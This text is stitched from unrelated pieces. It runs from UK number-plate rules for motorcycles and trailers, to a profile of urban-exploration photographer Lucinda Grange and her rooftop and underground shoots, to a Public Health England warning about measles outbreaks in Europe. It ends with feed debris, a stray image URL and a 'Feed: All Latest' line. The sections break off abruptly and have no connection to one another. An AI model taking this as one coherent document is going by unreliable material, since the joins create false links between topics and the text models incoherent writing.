Motorcycles and motor tricycles registered on or after 1 September 2001 must only display a number plate at the rear of the vehicle.
If you ride a motorbike or motor tricycle registered before 1 September 2001 you can also display a number plate at the front, but you don’t have to.
Motorcycle and motor tricycle number plate numbers should be on 2 lines.
Towing a trailer
Your trailer must display the same number plate as the car you’re towing it with.
If you’re towing more than one trailer, the number plate must be fixed to the trailer at the back.
Six years ago, Grange persuaded a friend to see a dentist inside the Chrysler Building so she could get past security and climb the stairs to the roof for a jaw-dropping shot of her perched on a brutalist eagle a thousand feet above midtown Manhattan. In 2013, she propelled herself up the Williamsburg Bridge for a self-portrait peering up from the girders. And just last month, Grange went full-on amphibian to wade through knee-deep water in an abandoned Brooklyn aqueduct in search of the perfect photo. I know, I was there.
“I am up for my green card, so I am concentrating on shooting in locations where I have permission to shoot now,” she said, ducking through a graffiti-sprayed underpass as we walked underground for at least a half-mile. (When I’d asked the previous week where she’d be taking me, her only response was “high and low.”)
To those quick to label her a thrill-seeker, Grange briskly pushes back. “I use photography as a means of self-expression,” she says. “I believe that a person is defined by their actions and choices, and is therefore defined by the environments they choose to put themselves in — and I challenge them to reconsider those environments.” Her chosen habitat is constantly shifting, and yields surprising rewards: Times Square sign hangers framed from the top down, a ballerina pirouetting from the ladder of a West Side water tower, a shot of lower Manhattan taken across the East River, from Governors Island.
“Lucinda has found a niche and she’s soaring,” says Jain Lemos, photo editor and executive with the New York–based YPA Foundation, formerly the Young Photographers’ Alliance. “I see these shots becoming iconic for a spell, and look forward to viewing more of her lofty perspectives.”
I’ve been climbing since I was a little girl.
Lucinda Grange
But while the public and certain editors love Grange’s derring-do, other photographers and critics dismiss her as just another urban explorer with a Nikon and a modicum of talent. To them, she embodies a typical “Urbex” working in a tired genre — and legally ambiguous locations — that’s become overexposed in the Instagram era.
“Most of these images are taken by illegal means,” says one photo editor familiar with Grange’s work. “I’ve heard of at least two photographers dying. Not many people would want to go on record praising this genre of photography.” Just this past November, a 26-year-old Chinese “daredevil” known for posting social videos of his stunts slipped to his death from a 62-story building. Grange has been arrested once, in Northern England, and admits to a couple of narrow escapes since moving to New York.

Grange is undeterred. Growing up in the U.K., near Newcastle, the child of factory workers felt the pangs of exploration first, climbing around Yorkshire’s derelict, overgrown quarries. At 17, she picked up a camera when her grandfather died and left the family his Nikon D70.
She joined a local camera club, and began to climb “bigger things” — from chimneys to bridges and skyscrapers. When Grange headed off to college, she decided to pursue photography over mechanical design engineering.Her grandfather’s camera now sits on a shelf in the tidy one-bedroom apartment in Flushing, Queens, that Grange shares with her husband, a high-rise-sign painter.
While at college, she worked part time at a bar, using the money to “go on cheap weekends away and climb things or go underground,” Grange tells me over a hearty English breakfast of beans, eggs and toast before setting out on a shoot. “Not many people would climb the Brooklyn Bridge, but lots would want to see the view. By sharing my work, I’m able to take people with me — if only in their minds.”
Grange made her first visit to New York in 2011 after handing in her final assignment at the Cleveland College of Art and Design in Hartlepool, U.K. From there, she spent three months in southern Mali, where she took her graduation photo, clad in a cap and gown she had carried with her and hanging onto a rock face above the hills of sub-Saharan Africa.
Travel soon became as indispensable as her tripod. Selected by the Independent and Young Photographers’ Alliance in Britain as a 2013 rising photographer for her portrait of a woman tucked between an arch of Notre Dame Cathedral, Grange went on to Egypt, Brazil, London and back to New York, where she shot the Chrysler Building photograph for a 2014 book Outside the Lines.

When photographer Micah Beree, a former studio assistant and archivist of Annie Leibovitz, first saw Grange’s work, he assumed a man had taken the photos. “I’ve seen the others’ pictures on the Chrysler Building with the eagle heads and thought, ‘Yeah, we’ve seen that; Annie did that.’ But everybody else had their model behind the eagles and Grange is sitting dead on top,” he tells OZY. “For me, a proper photo has proper exposure, a confident use of depth of field and paints with light. She has all of that, but she also pushed the limits. To me, that is impressive.”
Once settled in New York full time, Grange started her “Backward in High Heels” project, a collection of images of female artists performing in high spaces. Inspired by a quote about Fred Astaire and Ginger Rogers (“Sure, he was great, but don’t forget that Ginger Rogers did everything he did … backward and in high heels”), she set out to take photographs that “make the viewer reconsider the mental and physical capabilities of women.” What about her own? “I’ve been climbing since I was a little girl,” she says, “so I know the limits of my capabilities.”
Grange’s current obsession is “Inside Out New York,” a collection of photosfor which she plans to scour the city’s hidden spaces for “views that the tourists and even most New Yorkers never see.” She’s set her sights on places like the power station beneath Grand Central Terminal, the engine room of the Staten Island Ferry and the safe at Tiffany & Co. and will soon start testing her moxie again.
“Sometimes it’s not about the conquest,” she muses. “Sometimes it’s about an unfamiliar environment, and the fun you can make of it.”
]]>
Britons travelling to Europe over the festive season are at risk of contracting measles after a huge outbreak has plagued many of the countries.
Many travellers may be choosing to visit a Christmas market abroad with all the family without realising the possible dangers of catching the disease.
Public Health England (PHE) has issued a warning for Britons heading to Germany, Italy and Romania, in particular, to be aware of the risks.
Anyone who hasn’t had the MMR vaccine have the greatest chance of catching the infection.
The MMR jab protects against measles, mumps and rubella, but to be protected both vaccinations must have been taken.
Earlier this week, two cities in the UK were confirmed to have outbreaks of measles, with a third at risk.
Leeds currently has 16 confirmed cases, with Liverpool also having 11 people confirmed to have the disease.
Birmingham also has 9 confirmed cases, according to gov.uk
Measles symptoms include high fever, blotchy red rashes and aching, according to the NHS.
The highly infectious nature of the disease means it can easily spread, something amplified by the festive period when the streets are busy with Christmas shoppers.
Anyone who has these symptoms should stay at home and contact their doctor or call 111.
Dr Mary Ramsay, head of immunisation at PHE, states: “The measles outbreaks we are currently seeing in England are linked to ongoing large outbreaks in Europe.
“People who have recently travelled, or are planning to travel to Romania, Italy and Germany and have not had two doses of the MMR vaccine are particularly at risk.
“Children and young adults who missed out on their MMR vaccine in the past or are unsure if they had two doses should contact their GP practice to catch up.
“We’d also encourage people to ensure they are up to date with their MMR vaccine before travelling to countries with ongoing measles outbreaks.”
Travellers should always make sure to travel with insurance as well, to prevent any costly medical bills when abroad.
It has recently been revealed that half of Britons regularly go abroad without any insurance.
https://media.wired.com/photos/59fa1336b54d6a60c6cb1953/master/pass/GoogleFlightHP2-97236559.jpg
Feed: All Latest